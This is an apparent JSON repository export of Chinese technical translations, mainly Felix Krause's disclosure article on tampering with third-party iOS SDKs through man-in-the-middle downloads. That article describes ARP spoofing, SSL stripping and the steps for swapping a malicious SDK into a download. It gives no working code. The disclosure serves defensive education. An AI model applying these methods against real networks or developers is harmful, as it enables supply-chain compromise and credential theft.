并不知道一个类或者方法被使用了，例如这个类仅在反射时被使用或者仅在 XML 中被引用。为了阻止这样的代码被移除或混淆，您应当在 ProGuard 配置中指定额外 [**keep** 规则](https://www.guardsquare.com/en/proguard/manual/usage#keepoptions)。这取决于作为应用开发者的你，需要去发现哪些部分代码有问题并提供必要的规则。\n\n当运行时发生了 `ClassNotFoundException` 或 `MethodNotFoundException` 异常意味着您肯定缺失了某些类或者方法，也许是 ProGuard  移除了他们，又或者是因为错误配置依赖而导致无法找到他们。所以生产环境的构建（开启 ProGuard 时）一定要注重彻底的测试并正视这些错误。\n\n\n您有很多选项来配置您的 ProGuard：\n\n* **keep **— 保留所有匹配的类和方法\n* **keepclassmembers **— 当且仅当它们的类因为其他的原因被保留时（被其他调用点引用到或者被其他的规则 keep 住），keep 住指定的一些成员\n* **keepclasseswithmembers **— 当且仅当所有的成员在匹配的类中存在时，会 keep 住 这些类和它的成员\n\n我建议您从 ProGuard 的这篇 [class specification syntax](https://www.guardsquare.com/en/proguard/manual/usage#classspecification) 开始熟悉，此文讨论了上述所有的 keep 规则和前一段讨论到的 **-dontwarn** 选项。另外这三个 keep 规则也各有一个不同的版本支持仅保留混淆（重命名），不保留压缩。您可以在 ProGuard 官网的[表格](https://www.guardsquare.com/en/proguard/manual/usage#keepoverview)看一下概览。\n\n作为一个可选的方案来写 ProGuard 规则，您可以直接在某个不想被混淆和移除的类、方法、属性上添加 [**@Keep**](https://developer.android.com/reference/android/support/annotation/Keep.html)  注解。注意，如果这样做的话，您需要把 Android 默认的 ProGuard 配置加入到您的构建中。\n\n## APK Analyzer 和 ProGuard\n\nAndroid Studio 集成的 [APK Analyzer](https://developer.android.com/studio/build/apk-analyzer.html) 可以帮您看到哪些类被 ProGuard 移除了并支持为它们生成 keep 规则。当您构建 APK 时开启了 ProGuard，那么会额外输出一些文件在 `<app_module>/build/outputs/mapping/` 目录下。这些文件包含了移除代码的信息、混淆的映射关系。\n\n![](https://cdn-images-1.medium.com/max/800/0*ds03uyRBXdHyi7pV.)\n\n加载 ProGuard 映射文件到 APK Analyzer 可以看到 DEX 视图中更多的信息\n\n当您加载了映射文件到 APK Analyzer时（点击 _“Load Proguard mappings… “_ 按钮）， 您可以在 DEX 视图树中看到一些额外功能：\n\n* 所有的名字都是混淆前的（即您可以看到原始的名字）\n* 被 ProGuard 配置规则 **kept** 的包，类，方法和属性会显示成粗体\n* 您可以开启 “Show removed nodes” 选项来看任何被 ProGuard 移除的内容（字体上会有删除线）。右击树上的一个节点可以让您生成一个 keep 规则以便您粘贴到您的配置文件中。\n\n## 当 ProGuard 移除过少的类\n\n所有应用都可以使用 Android 内置的 ProGuard 的一些安全的默认规则，如保留 `View`  的 getter 和 setter 方法，因为他们通常会被反射来访问，以及其他一些普通的方法和类都不会被移除。 这在许多情况下可以时您的应用避免崩溃的发生，但是这些配置并不是 100% 适合您的应用。您可以移除掉默认的 ProGuard 文件而使用您自己的。\n\n如果您希望 ProGuard 移除所有未使用的代码，您应当避免 keep 规则写的太宽泛，如加入通配符匹配整个包，而是使用类相关的匹配规则或者使用上面提及的 `@Keep` 注解。\n\n![](https://cdn-images-1.medium.com/max/800/0*p4zsl6tqrwy6jOUr.)\n\n使用 `-whyareyoukeeping <class-specification>` 选项来观察为什么这些类没有被移除。\n\n如果您实在不确定为什么 ProGuard 没有移除您期望它移除的代码，您可以添加 [**-whyareyoukeeping**](https://www.guardsquare.com/en/proguard/manual/usage#whyareyoukeeping) 选项至 ProGuard 配置文件中，然后重新构建您的应用。在构建输出中，您会看到是什么调用链决定了 ProGuard 保留这些代码。\n\n![](https://cdn-images-1.medium.com/max/800/0*SFubaEvLatNnVmDr.)\n\n在 APK Analyzer 中追踪是什么在 DEX 中 keep 住了这些类和方法\n\n另一种方法不那么精准，但在任何应用都不需要重新构建和额外的工作量。那就是在 APK Analyzer 中打开 DEX 文件，然后右击您关注的类、方法。选择 “_Find usages_” 您将看到引用链，这也许会引导您了解哪部分代码使用指定的类、方法从而阻止了它被移除。\n\n## ProGuard 和 混淆后的堆栈\n\n我之前提及到，在构建过程中 ProGuard 会在处理类文件时输出映射关系和日志文件。当您需要保留构建产物时，您应当保存好这些文件和 APK 在一起。这些映射文件不能被其他的构建所使用，而只会在与它们一起生成的 APK 配合使用时才能确保正确。有了这些映射关系，您才能有效地 debug 用户设备的发生的崩溃。否则太难去定位问题了，因为名字都混淆过了。\n\n![](https://cdn-images-1.medium.com/max/800/0*wzjVsQyikWNXSjbO.)\n\n\n上传 APK 对应的 ProGuard 映射文件至 Google Play 控制台，从而获得混淆前的堆栈信息。\n\n您在 Google Play 控制台发布混淆后的生产 APK时，记得为每个版本上传对应的映射文件。这样的话当您看 _ANRs & crashes_ 页面时，上报的堆栈都会现实真实的类名、方法名和行号而不是缩短的混淆后的那些。\n\n## 关于 ProGuard 和 第三方库\n\n就像您有责任为您自己的代码提供 keep 规则一样，那些第三方库的作者们也有义务向您提供必要的混淆规则配置来避免开启 Proguard 导致的构建失败或者应用崩溃。\n\n有些项目简单地在他们的文档或者 README 上提及了必要的混淆规则，所以您需要复制粘贴这些规则到您的主 ProGuard 配置文件中。不过有个更好的方法，第三方库的维护者们如果发布的库是 AAR ，那么可以指定规则打包在 AAR 中并会在应用构建时自动暴露给构建系统，通过添加下面几行代码到库模块的 `build.gradle` 文件中：\n\n```\nrelease { //or your own build type  \n  consumerProguardFiles ‘consumer-proguard.txt’  \n}\n```\n\n您写入在 `consumer-proguard.txt` 文件中的规则将会在应用构建时附加到应用主 ProGuard 配置并被使用。\n\n* * *\n\n> **如果想了解更多关于代码和资源压缩的信息，请参考我们的**[**文档页面**](https://developer.android.com/studio/build/shrink-code.html) \n* * *\n\n开启 ProGuard 可能一开始会比较困难，但是我个人认为这些代价是值得的。只要投入一点点时间，您将会获得一个轻量、优化后的应用。此外，现在花费时间去配置您的应用意味着当[实验性的 ProGuard 替代者](https://r8.googlesource.com/r8) R8 就绪时，您已经准备好了。因为 R8 也是用现有的 ProGuard 规则文件来工作的。\n\n除了让您的代码更小巧之外， ProGuard 和 R8 可以选择优化您的代码让它运行得更快，当然这又是另一篇文章的话题了……\n\n* * *\n\n[¹](#6c8e) proguard-android.txt 文件之前是在 SDK tools 目录下（`SDK/tools/proguard/proguard-android.txt`），但在新版的 SDK Tools 和 Android Gradle 插件版本2.2.0+上，可以在构建时从 Android 插件的 jar 中解压出来。在构建您的项目后，您可以在 `<your_project>/build/intermediates/proguard-files/` 目录下找到这个配置文件。\n\n感谢 [Daniel Galpin](https://medium.com/@dagalpin?source=post_page)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/trusting-sdks.md",
    "content": "> * 原文地址：[Trusting third party SDKs](https://krausefx.com/blog/trusting-sdks)\n> * 原文作者：[Felix Krause](https://krausefx.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/trusting-sdks.md](https://github.com/xitu/gold-miner/blob/master/TODO/trusting-sdks.md)\n> * 译者：[CACppuccino](https://github.com/CACppuccino)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5) \n\n# 对第三方 SDK 的信任问题\n\n第三方的 SDK 常常会在你下载他们的时候被轻易地**修改**！只要使用简单的[中间人攻击](https://wikipedia.org/wiki/Man_in_the_middle_attack)，任何位于同一网络中的人都可以插入病毒代码至代码库中，并随之进入你的应用中，从而在你的用户的手机中运行。\n\n在最热门的闭源 iOS SDK 中，**31%**的 SDK 和 CocoaPods 中的 **623个库** 对于这种攻击是没有抵抗力的。作为研究的一部分，我通知了被影响的组织，并向 CocoaPods 提交了补丁，来提醒开发者和 SDK 提供者们。\n\n## 一个 SDK 被修改潜在后果是什么？\n\n若某人在你安装一个 SDK 之前修改了它，那么情况会变得十分的危险。因为你正在将你的 app 和那些危险的代码一起传送给用户。它会在几天内在成千上万的设备中运行。同时，它拥有和你的 app **一模一样**的权限。\n\n这意味着任何你在 app 中引用的 SDK 拥有：\n\n*   任何你的 app 能接触到的 keychain\n*   任何你的 app 有权限接触到的文件、文件夹\n*   任何你的 app 所拥有的权限，例如：定位信息，相册权限等\n*   你的 app 的 iCloud 存储内容\n*   你的 app 与 web 服务器交换的所有数据，例如：用户登录信息，个人信息等\n\nApple 强制要求 iOS app 应用使用沙箱是有很好的理由的，因此不要忘记**任何你的 app 所包含的 SDK 在你的 app 的沙箱中运行**，并且能够接触所有你的 app 有权限接触的东西。\n\n一个含病毒的 SDK 最坏会做什么？\n\n*   偷取用户敏感信息，通常会在你的 app 中加入一个键盘记录器，并记录每一次点击\n*   偷取密钥和用户的凭据\n*   [获取用户历史定位信息并卖给第三方](https://krausefx.com/blog/ios-privacy-detectlocation-an-easy-way-to-access-the-users-ios-location-data-without-actually-having-access)\n*   [显示 iCloud 的钓鱼弹窗，或其他的登录凭据](https://krausefx.com/blog/ios-privacy-stealpassword-easily-get-the-users-apple-id-password-just-by-asking)\n*   [在后台获取照片而不告诉用户](https://krausefx.com/blog/ios-privacy-watchuser-access-both-iphone-cameras-any-time-your-app-is-running)\n\n这里描述的攻击方法展示了攻击者是如何利用**你的手机 app** 来偷取用户敏感数据的。\n\n## 网络安全 101\n\n为了使你明白病毒代码是如何在未经你的允许或注意的情况下与你的 app 绑定的，我会提供必要的知识背景来让你明白[MITM 攻击](https://wikipedia.org/wiki/Man_in_the_middle_attack)是如何进行的，以及如何避免它。\n\n为了使一个移动端开发者在即使没有太多的网络通信知识的情况下，仍然能够了解这是如何工作的以及它们是如何保护自己的，下面的信息已经被简化了。\n\n### HTTPs vs HTTP\n\n**HTTP**: 未加密传输，任何位于同一网络（WiFi 或以太网）的人都可以轻易地监听网络包。在未加密的 WiFi 网络上这样监听的方法非常简单直观，而实际上在受保护的 WiFi 或以太网上依然是同样简单的。你的计算机不会去验证你所请求数据的主机的网络包；其它的计算机可以在你之前接收包裹，打开并修改它们，之后再将更改过的版本发送给你。\n\n**HTTPs**: 在 HTTPs 传输中，其它在网络中的主机仍能监听你的包裹但不能打开它们。它们仍然能够获取一些基本的元数据，如主机名，但无法得到详细数据（如数据的 body 部分，完整的 URL 等...）。另外，你的客户端会验证你的数据包是否来自原始的主机，且没有人修改过内容。HTTPs 技术是基于 TLS 的。\n\n### 浏览器是如何从 HTTP 切换至 HTTPs 的\n\n在你的浏览器中输入“[http://google.com](http://google.com)” (请输入 “http”, 而不是 “https”)。你会看见浏览器是如何自动的从 “http” 端口切换至 “https” 的。\n\n这个切换并不是在你的浏览器中发生，而是来自于远端的服务器（google.com），因为你的客户端（现在即浏览器）并不知道主机支持哪一种端口。（除了使用 [HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) 的主机）\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_0.png)\n\n最初的请求是通过“http”发生的，所以服务器只能通过“http”明文来告诉客户端切换至安全的“https”端口，响应的代码为“301 Moved Permanently”。\n\n你可能已经看到这里的问题所在了：由于第一个响应是使用明文，攻击者可以改变特定的网络包来替换掉重定向的 URL 并保持不加密的 “http”。这叫做 SSL 剥离，我们会在之后更多地谈及它。\n\n### 网络请求是如何工作的\n\n简单来讲，网络请求工作在多层模型上。不同的层上有不同的信息，告诉网络包如何路由：\n\n*   最底层（数据链路层）使用 MAC 地址来定位主机在网络中的地址\n*   上面的一层（网络层）使用 IP 地址来定位主机在网络中的地址\n*   再上面的层会添加端口信息和实际要传递的消息内容\n\n> 如果你对此感兴趣，你可以学习 OSI 模型是如何工作的，特别是在实现 TCP/IP 协议时 （例如 [http://microchipdeveloper.com/tcpip:tcp-ip-five-layer-model（tcp/ip 五层模型）](http://microchipdeveloper.com/tcpip:tcp-ip-five-layer-model)）。\n\n所以，如果你的计算机将一个网络包传输给路由器，它是如何基于第一层（MAC address）知道怎么去将网络包路由的呢？为了解决这个问题，路由器采用了一种端口叫做 ARP （Address Resolution Protocol）。\n\n### ARP 的工作原理以及是如何被滥用的\n\n简单来讲，网络中的设备利用 ARP 映射来记住去将含有特定 MAC 地址的网络包送到哪里。ARP 的工作原理很简单：如果一个设备知道该一个网络包所应送入的 IP 地址，它就会询问网络中的所有人：“这个 MAC 地址应该与哪个 IP 地址对应？”拥有那个 IP 地址的设备就会回复该信息 ✋\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_1.png)\n\n不幸的是，设备无法验证 ARP 消息发送者的身份。因此攻击者可以快速地响应另一台设备的 ARP 声明：“请将所有 IP 为 X 的网络包发送至这个 MAC 地址。”路由器就会记住并在以后对所有相关的请求应用该信息。这被称为“ARP 欺骗”。\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_2.png)\n\n明白所有的网络包是如何经过攻击者而不是直接从主机路由至你的计算机上的了吗？\n\n只要网络包经过攻击者的机器，就会有一些风险。与你使用你信任的 ISP 或 VPN 服务的风险一样：如果你使用的服务进行了合适的加密，他们就不能得知你正在做的事情或在你的客户端（比如浏览器）注意不到的情况下修改你的网络包。如之前所说，仍然有一些信息如特定的元信息是可见的（例如主机名）。\n\n如果存在未加密的网络包（例如 HTTP），那么攻击者不仅可以查阅里面的内容，同时还可以随意改写任何信息而不被发现。\n\n**注意**: 上面所述的技术与你可能读过的公共 WiFi 安全问题是不同的。公共 WiFi 的问题在于任何人都可以读取在其中所传送的网络包，如果这些网络包是没有加密的 HTTP，那么很容易就解读出正在发生的事情。ARP 污染作用于所有的网络，无论是公共与否，WiFi 还是以太网。\n\n## 让我们看看它在实践中如何作用\n\n让我们看看一些 SDK，它们是如何发布它们的文件的，然后我们看看能不能找到什么。\n\n### CocoaPods\n\n**开源 Pods**: CocoaPods 在底层使用 git 来从如 GitHub 等服务下载代码。 `git://`端口使用`ssh://`，与 HTTPs 的加密相似。总体上，如果你使用 CocoaPods 从 GitHub 上安装开源 SDK，你还是很安全的。\n\n**闭源 Pods**: 在准备这篇文章时，我注意到 Pods 可以定义一个 HTTP URL 来指向二进制 SDK，所以我提交了一个 pull request（[1](https://github.com/CocoaPods/CocoaPods/pull/7249) 和 [2](https://github.com/CocoaPods/CocoaPods/pull/7250)），合并后发布为[CocoaPods 1.4.0](https://blog.cocoapods.org/CocoaPods-1.4.0/) 来在一个 Pod 使用未加密的 http 时产生警告。\n\n### Crashlytics SDK\n\nCrashlytics 使用 CocoaPods 作为默认的发布，但还有 2 种可选的安装方式：Fabric Mac app 或手动安装，这两种都是 https 加密的，所以我们在这没有太多可做的。\n\n### [Localytics](http://docs.localytics.com/dev/ios.html)\n\n让我们看一下一个 SDK 样例，文档页面是通过未加密的 http 传输的（见地址栏）\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_3.png)\n\n所以你可能会想：“啊，我只是在这里查阅文档而已，我又不在乎它没有被加密。”但问题在于，这里的下载链接（蓝色的）也是网站的一部分，意味着一个攻击者可以轻易地将 `https://` 链接替换为 `http://`，使得实际的文件下载并不安全。\n\n或者，攻击者也可以选择只是将 https:// 链接换为看起来相似的攻击者的链接。\n\n*   [https://s3.amazonaws.com/localytics-sdk/sdk.zip](https://s3.amazonaws.com/localytics-sdk-docs/sdk.zip)\n*   [https://s3.amazonaws.com/localytics-sdk-binaries/sdk.zip](https://s3.amazonaws.com/localytics-sdk-docs/sdk.zip)\n\n同时，用户没有好的方法来验证特定主机的身份，URL 或者 SDK 作者的 S3 bucket。\n\n为了验证这点，我设置了我的[树莓派](https://www.raspberrypi.org/) 来劫持流量并实现多种 SSL 欺骗（将 HTTPs 链接降级为 HTTP），从 JavaScript 文件，图片文件，到下载链接。\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_4.png)\n\n一旦下载链接被降级为 HTTP，就很容易将 zip 文件的内容替换掉：\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_5.png)\n\n在传输中替换 HTML 文本很容易，但一个攻击者如何替换一个 zip 文件或者二进制文件呢？\n\n1.  攻击者下载原来的 SDK\n2.  攻击者将病毒代码插入 SDK\n3.  攻击者压缩更改后的 SDK\n4.  攻击者等待来往的网络包，并将所有拥有特定特征的文件替换为攻击者准备好的 zip 文件\n\n(这与[图片替换技巧](https://charlesreid1.com/wiki/MITM_Labs/Bettercap_to_Replace_Images)中使用的方法一样：每个通过 HTTP 传输的图片都被一个表情替换)\n\n结果是，所下载的 SDK 可能包含被修改过的额外的文件或代码：\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_6.png)\n\n要让这个攻击生效，所需的是：\n\n*   攻击者与你位于同一网络\n*   文档网页是未加密的并且所有的链接都能够使用 SSL 欺骗\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_7.png)\n\nLocalytics 在问题被披露后解决了它，所以文档页面和下载现在都是 HTTPs 加密的了。\n\n### [AskingPoint](https://www.askingpoint.com/documentation-ios-sdk/)\n\n看下下一个 SDK，它的文档页面是 HTTPs 加密的，从截图来看，似乎是安全的：\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_8.png)\n\n然而，这个基于 HTTPs 的网站链接指向了一个未加密的 HTTP 文件，而浏览器在这种情况下是不会警告用户的（[一些浏览器已经会在 JS/CSS 文件通过 HTTP 下载时发出警告](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/what-is-mixed-content)）。对于用户来说，很难发现这里发生着什么，除非他们会手动比较所提供的哈希值。作为这个项目的一部分，我撰写了一份安全报告，针对 Google Chrome （[794830](https://bugs.chromium.org/p/chromium/issues/detail?id=794830)） 和 Safari ([rdar://36039748](https://openradar.appspot.com/radar?id=5000976083714048)）来警告那些从 HTTPs 网站下载未加密文件的用户们。\n\n### [AWS SDK](https://aws.amazon.com/mobile/sdk/)\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_9.png)\n\n在我进行这项研究的时候，AWS iOS SDK 的下载页面使用了 HTTPs 加密，但链接至了一个未经加密的 zip 下载文件，与之前所提到的 SDK 相似。这个问题在被披露后，亚马逊解决了它。\n\n## 总而言之\n\n回想起之前提到过的 iOS 隐私漏洞（iCloud 钓鱼，通过图片获得定位，在后台使用摄像头），如果我们谈论的不是那些针对用户的恶意开发者，而是那些**针对你，一个 iOS 开发人员**的攻击者，为了在短时间内接触到上百万用户呢？\n\n### 攻击开发者\n\n如果一个 SDK 在你下载的时候被使用中间人攻击修改了内容，并插入了病毒代码，导致用户对你的信任破裂，你会怎么办呢？让我们以 iCloud 钓鱼弹窗为例，要想使用其它开发者的 app 来偷取用户的密码，并发送至你的远程服务器上，到底有多难？\n\n在下面的视频中，你可以看到一个 iOS 样例 app，有地图展示功能。在下载并将 AWS SDK 加入这个项目后，你可以看到病毒代码是如何被执行的，在这个案例中 iCloud 弹窗钓鱼显示了出来，然后 iCloud 的明文密码被读取并传送到一个远程服务器上。\n\nYouTube 视频请见：https://youtu.be/Mx2oFCyWg2A\n\n这个攻击唯一的发动前提就是攻击者需要与你在你一个网络上（例如在同一个会议酒店中）。或者攻击也可以通过你使用的 ISP 或 VPN 服务来完成。我的 Mac 使用的是默认的 macOS 配置，意味着是没有代理，自定义 DNS 或者 VPN 设置的。\n\n设置这样的攻击简单地令人惊讶，因为可以使用专为 SSL 欺骗，ARP 污染和替换多种请求内容而设计的工具来自动完成攻击。如果你之前实现过攻击，在其他任意的计算机上仅需不到一个小时就能完成设置，包括像我用于这次研究的树莓派上。因此整个攻击的花费不到 $50 美元。\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_10.jpg)\n\n我决定不公开我所使用的工具名称，以及我写的代码。你可以看看一些有名的工具如 [sslstrip](https://moxie.org/software/sslstrip/)， [mitmproxy](https://mitmproxy.org/) 和 [Wireshark](https://www.wireshark.org/)\n\n### 在开发者的机器上运行任意的代码\n\n在之前的例子中，攻击者通过劫持 SDK 来向 iOS app 中插入病毒代码。另一个攻击方向是开发者的 Mac。一旦攻击者可以在你的机器上运行代码，甚至拥有远程 SSH 权限，那么损害将会变的巨大：\n\n*   激活管理员账户的远程 SSH 权限\n*   安装键盘记录器来获取管理员密码\n*   使用密码来解密 keychain，并将所有登录凭据传送至远程服务器\n*   获取本地机密，如 AWS 凭据，CocoaPods 和 RubyGems 的上传令牌还有：\n    *   如果开发者拥有着一个受欢迎的 CocoaPod，你可以将病毒代码散播到更多的 SDK 中\n*   接触你的 Mac 上几乎所有的文件及数据库，包括 iMessage 的对话，邮件和源代码\n*   在用户不知情的情况下录屏\n*   安装一个新的 root 下的 SSL 证书，使得攻击者能够监听你大部分加密的网络请求\n\n为了证明这是可以发生的，我查找了如何在开发者本地运行的 shell 文本中插入病毒代码，在 BuddyBuild 案例中：\n\n*   与之前的前提相同，攻击者需要在同一个网络中\n*   BuddyBuild 文档告诉用户去 `curl` 一个未加密的 URL 来通过 `sh` 进行操作，意味着任何 `curl` 命令返回的代码都会被执行\n*   修改过的 `UpdateSDK` 由攻击者（树莓派）提供，并且询问管理员密码（通常 BuddyBuild 的更新脚本不会询问这个）\n*   在一秒钟之内，病毒脚本可以做到：\n    *   为当前账户启动远程 SSH 权限\n    *   安装并配置键盘记录器，用于自动记录你的登录操作\n\n一旦攻击者获得了 root 密码和 SSH 权限，他们可以去做任何上述的事情。\n\nYouTube 视频请见：https://youtu.be/N1Wj6ipc-HU\n\nBuddyBuild 在问题反馈后解决了这一问题。\n\n### 这样的攻击有多现实？\n\n**非常现实！**打开你的 Mac 的网络设置，并查看你的 Mac 连接过的 WiFi 列表。对我来说，我的 MacBook 曾连接过超过 200 个热点。而其中有多少你可以完全相信呢？即使在相信的网络中，其它的机器也可能在之前被侵入，而实现远程控制攻击（见上部分）。\n\nSDK 和 开发者工具成为了越来越多的攻击者的目标。这里有一些过去几年的例子：\n\n*   [Xcode Ghost](https://en.wikipedia.org/wiki/XcodeGhost) 影响了近 4000 个 iOS app，包括微信：\n    *   攻击者对任何使用这些 app 的机器拥有远程登录权限\n    *   展示钓鱼弹窗\n    *   拥有阅读并更改粘贴板的权限（当使用密码管理器的时候这会变得很危险）\n*   [NSA 致力于寻找 iOS 漏洞](https://9to5mac.com/2017/03/07/cia-ios-malware-wikileaks/)\n*   [Pegasus](https://www.kaspersky.com/blog/pegasus-spyware/14604/)：针对非越狱 iPhone 的恶意软件, [被政府利用](https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/)\n*   [KeyRaider](https://en.wikipedia.org/wiki/KeyRaider)：仅影响越狱 iPhone，但仍然偷取了超过 200,000 终端用户的用户凭证\n*   在仅仅几周之前，有很多关于这是如何影响网站项目的博文被发出 （例如[1](https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5), [2](https://scotthelme.co.uk/protect-site-from-cyrptojacking-csp-sri/)）\n\n[以及更多类似的事件](https://www.theiphonewiki.com/wiki/Malware_for_iOS)。另一个方法是获取下载服务器的权限（例如 S3 bucket 使用权限密钥）并替换掉二进制文件。这在过去几年中常常发生，例如 [Mac app 传输事件](https://www.macrumors.com/2016/03/07/transmission-malware-downloaded-6500-times/)。这开启了攻击领域的另一个层级，是我在这篇博文中没有讲到的。\n\n### 会议中心，酒店，咖啡厅\n\n每当你在会议中心，酒店或者咖啡厅链接 WiFi 时，你会成为一个易于攻击的目标。攻击者知道这里有大量的开发者在会议中，并可以轻易地利用这点。\n\n### SDK 提供者如何保护他们的用户呢？\n\n这会超出这篇博文的讨论范围。Mozilla 提供了一份[安全指导](https://developer.mozilla.org/en-US/docs/Web/Security) 是一个不错的主意。 Mozilla 还提供了一个工具叫做[observatory](https://observatory.mozilla.org) ，能够自动检查服务器的配置和证书。\n\n### 有多少热门的 SDK 被这一弱点影响了？\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_11.png)\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_12.png)\n\n![](https://krausefx.com/assets/posts/trusting-sdks/image_13.png)\n\n我从 2017 年 11 月 23 日开始研究，根据 [AppSight](https://www.appsight.io/?asot=2&o=top&os=ios)（将所有 Facebook 和 Google 的 SDK 算作一个，因为他们都采用了同一种安装方法——略过所有在 GitHub 上开源的 SDK），调查了 41 个最受欢迎的移动端 SDK。\n\n*   **41** 个检查的 SDK 中\n    *   **23** 个是闭源的且你只能下载二进制文件\n    *   **18** 个是开源的（它们都在 GitHub 上）\n*   **13** 是容易成为中间人攻击而用户无法得知任何情况的目标\n    *   **10** 个为闭源 SDK\n    *   **3** 个是开源的 SDK，意味着用户们既可以从未加密的官网 HTTP 渠道下载，也可以安全地从 GitHub 上下载源代码\n*   **5** 个 SDK没有任何安全的下载方法，意味着他们或者对应的服务（如 GitHub）完全不支持 HTTPs\n*   **31%** 的 SDK 是极易被这类攻击攻陷的目标\n*   **5** 个另外的 SDK 需要账户来下载（难道他们有什么要隐藏的东西么？）\n\n我在 2017 年的 11 和 12 月通知了所有可能被攻击影响的目标，在公开谈论这件事之前给予他们两个月的时间来解决这个问题。在这 13 个被影响的 SDK 中：\n\n*   **1** 个在三个工作日内解决了问题\n*   **5** 个在一个月内解决了问题\n*   **7** 个 SDK 在这篇博文被发出时仍然保留着弱点\n\n仍被该漏洞影响的 SDK 提供者们尚未对我的邮件做出回应，或者仅仅回复了“我们会去看一下它的”——它们都在使用量最高的前 50 个 SDK 中。\n\n从 CocoaPods 中来看，有总计 **4,800** 个发布版本被影响，来自 **623** 个 CocoaPods。我在本地对 `Specs` 目录通过 `grep -l -r '\"http\": \"http://' *` 得到的这些数据。\n\n### 开源 vs 闭源\n\n从上文的数字来看，如果你使用闭源的 SDK，那么你很可能被攻击波及到。更重要的是，当 SDK 是闭源的时候，你很难验证依赖库的完整性。如你所知，你应该总是[利用版本控制检查 Pods 目录](https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control)，来检测其中的变化，审计你的依赖库的更新。我所调查的开源 SDK 中，100% 都可以从 GitHub 中直接使用，意味着如果你使用 GitHub 的版本而不是提供者网站的版本，即使使用上文中那三个被影响的 SDK，你也不会受到影响。\n\n基于上面的数字，可以很清楚的知道，你除了不能深入闭源 SDK 的源代码之外，还会有比较高的被攻击的风险。不仅仅是中间人攻击，还包括：\n\n*   攻击者获取了 SDK 下载服务器的权限\n*   提供 SDK 的公司被渗透\n*   当地政府强制公司包含后门\n*   提供 SDK 的公司本身有不良意图，并包含了你不想要的追踪以及代码\n\n**你应该对你传送的代码负责！** 你应该保证你没有辜负用户对你的信任，违背欧盟的数据保护法([GDPR](https://www.eugdpr.org/))，或通过病毒 SDK 偷取用户的凭据。\n\n## 总结\n\n作为开发者，我们有责任仅将我们信任的代码传送给客户。现在最简单的一种攻击就是通过 SDK 病毒实现的。如果一个 SDK 是在 GitHub 上开源的，并通过 CocoaPods 安装，那么你还是很安全的。要特别注意绑定的二进制闭源代码或你不完全信任的 SDK。\n\n由于这种攻击的留下的痕迹很小，你很难发现你的代码被改变了。而使用开源代码，我们作为开发者可以最好地保护自己，和我们的客户。\n\n参考我的 [其它与隐私和安全相关的文献](https://krausefx.com/privacy).\n\n## 鸣谢\n\n特别感谢 [Manu Wallner](https://twitter.com/acrooow) 为视频提供的录音。\n\n特别感谢我的朋友们对于这篇文章的反馈： [Jasdev Singh](https://twitter.com/jasdev), [Dave Schukin](https://twitter.com/schukin), [Manu Wallner](https://twitter.com/acrooow), [Dominik Weber](https://twitter.com/domysee), [Gilad](https://twitter.com/giladronat), [Nicolas Haunold](http://haunold.me/) 以及 Neel Rao.\n\n除非在文章中特别提到，否则这些项目皆为我利用周末及晚上的时间来完成的业余项目，与我所做的工作和雇主无关。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/turbocharged-javascript-refactoring-with-codemods.md",
    "content": "* 原文链接 : [Turbocharged JavaScript refactoring with codemods](https://medium.com/airbnb-engineering/turbocharged-javascript-refactoring-with-codemods-b0cae8b326b9#.tjerodd52)\n* 原文作者 :[Joe Lencioni](https://medium.com/u/e52389684329)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Hikerpig](https://github.com/hikerpig)\n* 校对者: [Jack-Kingdom](https://github.com/Jack-Kingdom)，[godofchina](https://github.com/godofchina)\n\n# 使用重构件（Codemod）加速 JavaScript 开发和重构\n\n![](http://ww2.sinaimg.cn/large/005SiNxygw1f3j86n6dapj30m80gk43b.jpg)\n\n### 使用重构件（Codemod）加速 JavaScript 